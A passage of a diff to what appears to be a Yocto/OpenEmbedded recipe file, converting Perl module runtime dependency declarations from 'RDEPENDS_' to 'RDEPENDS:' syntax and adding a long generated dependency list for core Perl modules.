-RDEPENDS_perl-module-unicode-ucd += "perl-module-unicode-normalize"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-utf8-heavy"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-warnings"
-RDEPENDS_perl-module-user-grent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-grent += "perl-module-exporter"
-RDEPENDS_perl-module-user-grent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-class-struct"
-RDEPENDS_perl-module-user-pwent += "perl-module-config"
-RDEPENDS_perl-module-user-pwent += "perl-module-exporter"
-RDEPENDS_perl-module-user-pwent += "perl-module-strict"
-RDEPENDS_perl-module-user-pwent += "perl-module-warnings"
-RDEPENDS_perl-module-utf8 += "perl-module-utf8-heavy"
-RDEPENDS_perl-module-version += "perl-module-strict"
-RDEPENDS_perl-module-version += "perl-module-version-regex"
-RDEPENDS_perl-module-version += "perl-module-warnings-register"
-RDEPENDS_perl-module-version-regex += "perl-module-strict"
-RDEPENDS_perl-module-xsloader += "perl-module-dynaloader"
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:perl-module-file-spec += "perl-module-file-spec-unix"
+RDEPENDS:perl-module-io-file += "perl-module-symbol"
+RDEPENDS:perl-module-math-bigint += "perl-module-math-bigint-calc"
+RDEPENDS:perl-module-test-builder += "perl-module-list-util"
+RDEPENDS:perl-module-test-builder += "perl-module-scalar-util"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-test2-formatter-tap"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-fail"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-pass"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-v2"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-formatter"
+RDEPENDS:perl-module-thread-queue += "perl-module-attributes"
+RDEPENDS:perl-module-overload += "perl-module-overloading"
+
+# Generated depends list beyond this line
+RDEPENDS:perl-module-anydbm-file += "perl-module-strict"
+RDEPENDS:perl-module-anydbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-app-cpan += "perl-module-config"
+RDEPENDS:perl-module-app-cpan += "perl-module-constant"
+RDEPENDS:perl-module-app-cpan += "perl-module-cpan"
+RDEPENDS:perl-module-app-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-app-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-app-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-app-cpan += "perl-module-getopt-std"
+RDEPENDS:perl-module-app-cpan += "perl-module-if"
+RDEPENDS:perl-module-app-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-app-cpan += "perl-module-strict"
+RDEPENDS:perl-module-app-cpan += "perl-module-user-pwent"
+RDEPENDS:perl-module-app-cpan += "perl-module-vars"
+RDEPENDS:perl-module-app-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove += "perl-module-app-prove-state"
+RDEPENDS:perl-module-app-prove += "perl-module-base"
+RDEPENDS:perl-module-app-prove += "perl-module-constant"
+RDEPENDS:perl-module-app-prove += "perl-module-getopt-long"
+RDEPENDS:perl-module-app-prove += "perl-module-strict"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness"
+RDEPENDS:perl-module-app-prove += "perl-module-tap-harness-env"
+RDEPENDS:perl-module-app-prove += "perl-module-text-parsewords"
+RDEPENDS:perl-module-app-prove += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state += "perl-module-app-prove-state-result"
+RDEPENDS:perl-module-app-prove-state += "perl-module-base"
+RDEPENDS:perl-module-app-prove-state += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state += "perl-module-file-find"
+RDEPENDS:perl-module-app-prove-state += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
+RDEPENDS:perl-module-app-prove-state += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-constant"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result += "perl-module-warnings"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-strict"
+RDEPENDS:perl-module-app-prove-state-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-constant"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-time-local"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-vars"
+RDEPENDS:perl-module-archive-tar-constant += "perl-module-warnings"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-file-basename"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar-file += "perl-module-vars"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-constant"
+RDEPENDS:perl-module-archive-tar += "perl-module-archive-tar-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-config"
+RDEPENDS:perl-module-archive-tar += "perl-module-cwd"
+RDEPENDS:perl-module-archive-tar += "perl-module-exporter"
+RDEPENDS:perl-module-archive-tar += "perl-module-file-path"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-file"
+RDEPENDS:perl-module-archive-tar += "perl-module-io-zlib"
+RDEPENDS:perl-module-archive-tar += "perl-module-strict"
+RDEPENDS:perl-module-archive-tar += "perl-module-vars"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-strict"
+RDEPENDS:perl-module-attribute-handlers += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-exporter"
+RDEPENDS:perl-module-attributes += "perl-module-strict"
+RDEPENDS:perl-module-attributes += "perl-module-warnings"
+RDEPENDS:perl-module-attributes += "perl-module-xsloader"
+RDEPENDS:perl-module-autodie-exception += "perl-module-constant"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fatal"
+RDEPENDS:perl-module-autodie-exception += "perl-module-fcntl"
+RDEPENDS:perl-module-autodie-exception += "perl-module-overload"
+RDEPENDS:perl-module-autodie-exception += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-parent"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-strict"
+RDEPENDS:perl-module-autodie-exception-system += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-hints += "perl-module-b"
+RDEPENDS:perl-module-autodie-hints += "perl-module-constant"
+RDEPENDS:perl-module-autodie-hints += "perl-module-strict"
+RDEPENDS:perl-module-autodie-hints += "perl-module-warnings"
+RDEPENDS:perl-module-autodie += "perl-module-constant"
+RDEPENDS:perl-module-autodie += "perl-module-lib"
+RDEPENDS:perl-module-autodie += "perl-module-parent"
+RDEPENDS:perl-module-autodie += "perl-module-strict"
+RDEPENDS:perl-module-autodie += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guard += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-strict"
+RDEPENDS:perl-module-autodie-scope-guardstack += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-skip += "perl-module-strict"
+RDEPENDS:perl-module-autodie-skip += "perl-module-warnings"
+RDEPENDS:perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
+RDEPENDS:perl-module-autodie-util += "perl-module-exporter"
+RDEPENDS:perl-module-autodie-util += "perl-module-strict"
+RDEPENDS:perl-module-autodie-util += "perl-module-warnings"
+RDEPENDS:perl-module-autoloader += "perl-module-strict"
+RDEPENDS:perl-module-autosplit += "perl-module-config"
+RDEPENDS:perl-module-autosplit += "perl-module-exporter"
+RDEPENDS:perl-module-autosplit += "perl-module-file-basename"
+RDEPENDS:perl-module-autosplit += "perl-module-file-path"
+RDEPENDS:perl-module-autosplit += "perl-module-strict"
+RDEPENDS:perl-module-base += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-b"
+RDEPENDS:perl-module-b-concise += "perl-module-b-op-private"
+RDEPENDS:perl-module-b-concise += "perl-module-config"
+RDEPENDS:perl-module-b-concise += "perl-module-exporter"
+RDEPENDS:perl-module-b-concise += "perl-module-feature"
+RDEPENDS:perl-module-b-concise += "perl-module-strict"
+RDEPENDS:perl-module-b-concise += "perl-module-warnings"
+RDEPENDS:perl-module-benchmark += "perl-module-exporter"
+RDEPENDS:perl-module-benchmark += "perl-module-strict"
+RDEPENDS:perl-module-bigint += "perl-module-constant"
+RDEPENDS:perl-module-bigint += "perl-module-exporter"
+RDEPENDS:perl-module-bigint += "perl-module-math-bigint"
+RDEPENDS:perl-module-bigint += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bigint += "perl-module-overload"
+RDEPENDS:perl-module-bigint += "perl-module-strict"
+RDEPENDS:perl-module-bigint += "perl-module-warnings"
+RDEPENDS:perl-module-bignum += "perl-module-bigint"
+RDEPENDS:perl-module-bignum += "perl-module-exporter"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigfloat-trace"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigint"
+RDEPENDS:perl-module-bignum += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bignum += "perl-module-overload"
+RDEPENDS:perl-module-bignum += "perl-module-strict"
+RDEPENDS:perl-module-bignum += "perl-module-warnings"
+RDEPENDS:perl-module-bigrat += "perl-module-bigint"
+RDEPENDS:perl-module-bigrat += "perl-module-exporter"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigint"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigint-trace"
+RDEPENDS:perl-module-bigrat += "perl-module-math-bigrat"
+RDEPENDS:perl-module-bigrat += "perl-module-overload"
+RDEPENDS:perl-module-bigrat += "perl-module-strict"
+RDEPENDS:perl-module-bigrat += "perl-module-warnings"
+RDEPENDS:perl-module-blib += "perl-module-cwd"
+RDEPENDS:perl-module-b += "perl-module-exporter"
+RDEPENDS:perl-module-b += "perl-module-xsloader"
+RDEPENDS:perl-module-b-showlex += "perl-module-b"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-concise"
+RDEPENDS:perl-module-b-showlex += "perl-module-b-terse"
+RDEPENDS:perl-module-b-showlex += "perl-module-strict"
+RDEPENDS:perl-module-b-terse += "perl-module-b"
+RDEPENDS:perl-module-b-terse += "perl-module-b-concise"
+RDEPENDS:perl-module-b-terse += "perl-module-strict"
+RDEPENDS:perl-module-b-xref += "perl-module-b"
+RDEPENDS:perl-module-b-xref += "perl-module-config"
+RDEPENDS:perl-module-b-xref += "perl-module-strict"
+RDEPENDS:perl-module-bytes += "perl-module-bytes-heavy"
+RDEPENDS:perl-module-bytes += "perl-module-strict"
+RDEPENDS:perl-module-bytes += "perl-module-warnings"
+RDEPENDS:perl-module--charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module-bytes"
+RDEPENDS:perl-module-charnames += "perl-module--charnames"
+RDEPENDS:perl-module--charnames += "perl-module-re"
+RDEPENDS:perl-module-charnames += "perl-module-re"
+RDEPENDS:perl-module--charnames += "perl-module-strict"
+RDEPENDS:perl-module-charnames += "perl-module-strict"
+RDEPENDS:perl-module--charnames += "perl-module-warnings"
+RDEPENDS:perl-module-charnames += "perl-module-warnings"
+RDEPENDS:perl-module-class-struct += "perl-module-exporter"
+RDEPENDS:perl-module-class-struct += "perl-module-strict"
+RDEPENDS:perl-module-class-struct += "perl-module-warnings-register"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-bzip2 += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-dynaloader"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-compress-raw-zlib += "perl-module-xsloader"
+RDEPENDS:perl-module-compress-zlib += "perl-module-bytes "
+RDEPENDS:perl-module-compress-zlib += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-compress-zlib += "perl-module-constant"
+RDEPENDS:perl-module-compress-zlib += "perl-module-exporter"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-handle "
+RDEPENDS:perl-module-compress-zlib += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-compress-zlib += "perl-module-strict "
+RDEPENDS:perl-module-compress-zlib += "perl-module-warnings "
+RDEPENDS:perl-module-config-extensions += "perl-module-config"
+RDEPENDS:perl-module-config-extensions += "perl-module-exporter"
+RDEPENDS:perl-module-config-extensions += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-config"
+RDEPENDS:perl-module-config-perl-v += "perl-module-exporter"
+RDEPENDS:perl-module-config-perl-v += "perl-module-strict"
+RDEPENDS:perl-module-config-perl-v += "perl-module-vars"
+RDEPENDS:perl-module-config-perl-v += "perl-module-warnings"
+RDEPENDS:perl-module-constant += "perl-module-strict"
+RDEPENDS:perl-module-constant += "perl-module-warnings-register"
+RDEPENDS:perl-module-corelist += "perl-module-list-util"
+RDEPENDS:perl-module-corelist += "perl-module-corelist"
+RDEPENDS:perl-module-corelist += "perl-module-strict"
+RDEPENDS:perl-module-corelist += "perl-module-version"
+RDEPENDS:perl-module-corelist += "perl-module-warnings"
+RDEPENDS:perl-module-cpan += "perl-module-b"
+RDEPENDS:perl-module-cpan += "perl-module-config"
+RDEPENDS:perl-module-cpan += "perl-module-cwd"
+RDEPENDS:perl-module-cpan += "perl-module-data-dumper"
+RDEPENDS:perl-module-cpan += "perl-module-dirhandle"
+RDEPENDS:perl-module-cpan += "perl-module-errno"
+RDEPENDS:perl-module-cpan += "perl-module-exporter"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-cpan += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-cpan += "perl-module-fcntl"
+RDEPENDS:perl-module-cpan += "perl-module-file-basename"
+RDEPENDS:perl-module-cpan += "perl-module-file-copy"
+RDEPENDS:perl-module-cpan += "perl-module-file-find"
+RDEPENDS:perl-module-cpan += "perl-module-filehandle"
+RDEPENDS:perl-module-cpan += "perl-module-file-path"
+RDEPENDS:perl-module-cpan += "perl-module-json-pp"
+RDEPENDS:perl-module-cpan += "perl-module-lib"
+RDEPENDS:perl-module-cpan += "perl-module-net-ping"
+RDEPENDS:perl-module-cpan += "perl-module-overload"
+RDEPENDS:perl-module-cpan += "perl-module-posix"
+RDEPENDS:perl-module-cpan += "perl-module-safe"
+RDEPENDS:perl-module-cpan += "perl-module-strict"
+RDEPENDS:perl-module-cpan += "perl-module-sys-hostname"
+RDEPENDS:perl-module-cpan += "perl-module-term-readline"
+RDEPENDS:perl-module-cpan += "perl-module-text-parsewords"
+RDEPENDS:perl-module-cpan += "perl-module-text-wrap"
+RDEPENDS:perl-module-cpan += "perl-module-time-local"
+RDEPENDS:perl-module-cpan += "perl-module-vars"
+RDEPENDS:perl-module-cpan += "perl-module-warnings"
+RDEPENDS:perl-module-cwd += "perl-module-errno"
+RDEPENDS:perl-module-cwd += "perl-module-exporter"
+RDEPENDS:perl-module-cwd += "perl-module-strict"
+RDEPENDS:perl-module-cwd += "perl-module-xsloader"
+RDEPENDS:perl-module-data-dumper += "perl-module-config"
+RDEPENDS:perl-module-data-dumper += "perl-module-constant"
+RDEPENDS:perl-module-data-dumper += "perl-module-exporter"
+RDEPENDS:perl-module-data-dumper += "perl-module-strict"
+RDEPENDS:perl-module-data-dumper += "perl-module-warnings"
+RDEPENDS:perl-module-data-dumper += "perl-module-xsloader"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-compress += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-encode += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-int32 += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-null += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter += "perl-module-warnings"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-strict"
+RDEPENDS:perl-module-dbm-filter-utf8 += "perl-module-warnings"
+RDEPENDS:perl-module-db += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-strict"
+RDEPENDS:perl-module-deprecate += "perl-module-warnings"
+RDEPENDS:perl-module-devel-peek += "perl-module-exporter"
+RDEPENDS:perl-module-devel-peek += "perl-module-xsloader"
+RDEPENDS:perl-module-devel-ppport += "perl-module-file-find"
+RDEPENDS:perl-module-devel-ppport += "perl-module-getopt-long"
+RDEPENDS:perl-module-devel-ppport += "perl-module-strict"
+RDEPENDS:perl-module-devel-ppport += "perl-module-vars"
+RDEPENDS:perl-module-devel-selfstubber += "perl-module-selfloader"
+RDEPENDS:perl-module-diagnostics += "perl-module-config"
+RDEPENDS:perl-module-diagnostics += "perl-module-getopt-std"
+RDEPENDS:perl-module-diagnostics += "perl-module-strict"
+RDEPENDS:perl-module-diagnostics += "perl-module-text-tabs"
+RDEPENDS:perl-module-digest-base += "perl-module-mime-base64"
+RDEPENDS:perl-module-digest-base += "perl-module-strict"
+RDEPENDS:perl-module-digest-base += "perl-module-warnings"
+RDEPENDS:perl-module-digest-file += "perl-module-digest"
+RDEPENDS:perl-module-digest-file += "perl-module-exporter"
+RDEPENDS:perl-module-digest-file += "perl-module-strict"
+RDEPENDS:perl-module-digest-file += "perl-module-warnings"
+RDEPENDS:perl-module-digest-md5 += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-md5 += "perl-module-exporter"
+RDEPENDS:perl-module-digest-md5 += "perl-module-strict"
+RDEPENDS:perl-module-digest-md5 += "perl-module-warnings"
+RDEPENDS:perl-module-digest-md5 += "perl-module-xsloader"
+RDEPENDS:perl-module-digest += "perl-module-strict"
+RDEPENDS:perl-module-digest += "perl-module-warnings"
+RDEPENDS:perl-module-digest-sha += "perl-module-digest-base"
+RDEPENDS:perl-module-digest-sha += "perl-module-dynaloader"
+RDEPENDS:perl-module-digest-sha += "perl-module-exporter"
+RDEPENDS:perl-module-digest-sha += "perl-module-fcntl"
+RDEPENDS:perl-module-digest-sha += "perl-module-integer"
+RDEPENDS:perl-module-digest-sha += "perl-module-strict"
+RDEPENDS:perl-module-digest-sha += "perl-module-vars"
+RDEPENDS:perl-module-digest-sha += "perl-module-warnings"
+RDEPENDS:perl-module-digest-sha += "perl-module-xsloader"
+RDEPENDS:perl-module-dynaloader += "perl-module-config"
+RDEPENDS:perl-module-encode-alias += "perl-module-constant"
+RDEPENDS:perl-module-encode-alias += "perl-module-encode"
+RDEPENDS:perl-module-encode-alias += "perl-module-exporter"
+RDEPENDS:perl-module-encode-alias += "perl-module-strict"
+RDEPENDS:perl-module-encode-alias += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-encode"
+RDEPENDS:perl-module-encode-byte += "perl-module-strict"
+RDEPENDS:perl-module-encode-byte += "perl-module-warnings"
+RDEPENDS:perl-module-encode-byte += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-exporter"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-strict"
+RDEPENDS:perl-module-encode-cjkconstants += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-parent"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-utf8"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-vars"
+RDEPENDS:perl-module-encode-cn-hz += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode"
+RDEPENDS:perl-module-encode-cn += "perl-module-encode-cn-hz"
+RDEPENDS:perl-module-encode-cn += "perl-module-strict"
+RDEPENDS:perl-module-encode-cn += "perl-module-warnings"
+RDEPENDS:perl-module-encode-cn += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-config += "perl-module-strict"
+RDEPENDS:perl-module-encode-config += "perl-module-warnings"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-encode"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-strict"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-warnings"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-encoder += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoder += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoder += "perl-module-exporter"
+RDEPENDS:perl-module-encode-encoder += "perl-module-overload"
+RDEPENDS:perl-module-encode-encoder += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoder += "perl-module-warnings"
+RDEPENDS:perl-module-encode-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-encode"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-parent"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-strict"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-utf8"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-vars"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-guess += "perl-module-bytes"
+RDEPENDS:perl-module-encode-guess += "perl-module-constant"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode-unicode"
+RDEPENDS:perl-module-encode-guess += "perl-module-parent"
+RDEPENDS:perl-module-encode-guess += "perl-module-strict"
+RDEPENDS:perl-module-encode-guess += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-vars"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-bytes"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode-jp-jis7"
+RDEPENDS:perl-module-encode-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-parent"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
+RDEPENDS:perl-module-encode-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-encode"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-bytes"
+RDEPENDS:perl-module-encode += "perl-module-constant"
+RDEPENDS:perl-module-encode += "perl-module-encode-alias"
+RDEPENDS:perl-module-encode += "perl-module-encode-config"
+RDEPENDS:perl-module-encode += "perl-module-encode-configlocal-pm"
+RDEPENDS:perl-module-encode += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode += "perl-module-exporter"
+RDEPENDS:perl-module-encode += "perl-module-parent"
+RDEPENDS:perl-module-encode += "perl-module-storable"
+RDEPENDS:perl-module-encode += "perl-module-strict"
+RDEPENDS:perl-module-encode += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-symbol += "perl-module-encode"
+RDEPENDS:perl-module-encode-symbol += "perl-module-strict"
+RDEPENDS:perl-module-encode-symbol += "perl-module-warnings"
+RDEPENDS:perl-module-encode-symbol += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-tw += "perl-module-encode"
+RDEPENDS:perl-module-encode-tw += "perl-module-strict"
+RDEPENDS:perl-module-encode-tw += "perl-module-warnings"
+RDEPENDS:perl-module-encode-tw += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode += "perl-module-warnings"
+RDEPENDS:perl-module-encode-unicode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-re"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-warnings"
+RDEPENDS:perl-module-encoding += "perl-module-config"
+RDEPENDS:perl-module-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encoding += "perl-module-filter-util-call"
+RDEPENDS:perl-module-encoding += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-encoding += "perl-module-posix"
+RDEPENDS:perl-module-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encoding += "perl-module-utf8"
+RDEPENDS:perl-module-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-strict"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-warnings"
+RDEPENDS:perl-module-english += "perl-module-exporter"
+RDEPENDS:perl-module-env += "perl-module-config"
+RDEPENDS:perl-module-env += "perl-module-tie-array"
+RDEPENDS:perl-module-errno += "perl-module-exporter"
+RDEPENDS:perl-module-errno += "perl-module-strict"
+RDEPENDS:perl-module-experimental += "perl-module-strict"
+RDEPENDS:perl-module-experimental += "perl-module-version"
+RDEPENDS:perl-module-experimental += "perl-module-warnings"
+RDEPENDS:perl-module-exporter-heavy += "perl-module-strict"
+RDEPENDS:perl-module-exporter += "perl-module-exporter-heavy"
+RDEPENDS:perl-module-exporter += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-cwd"
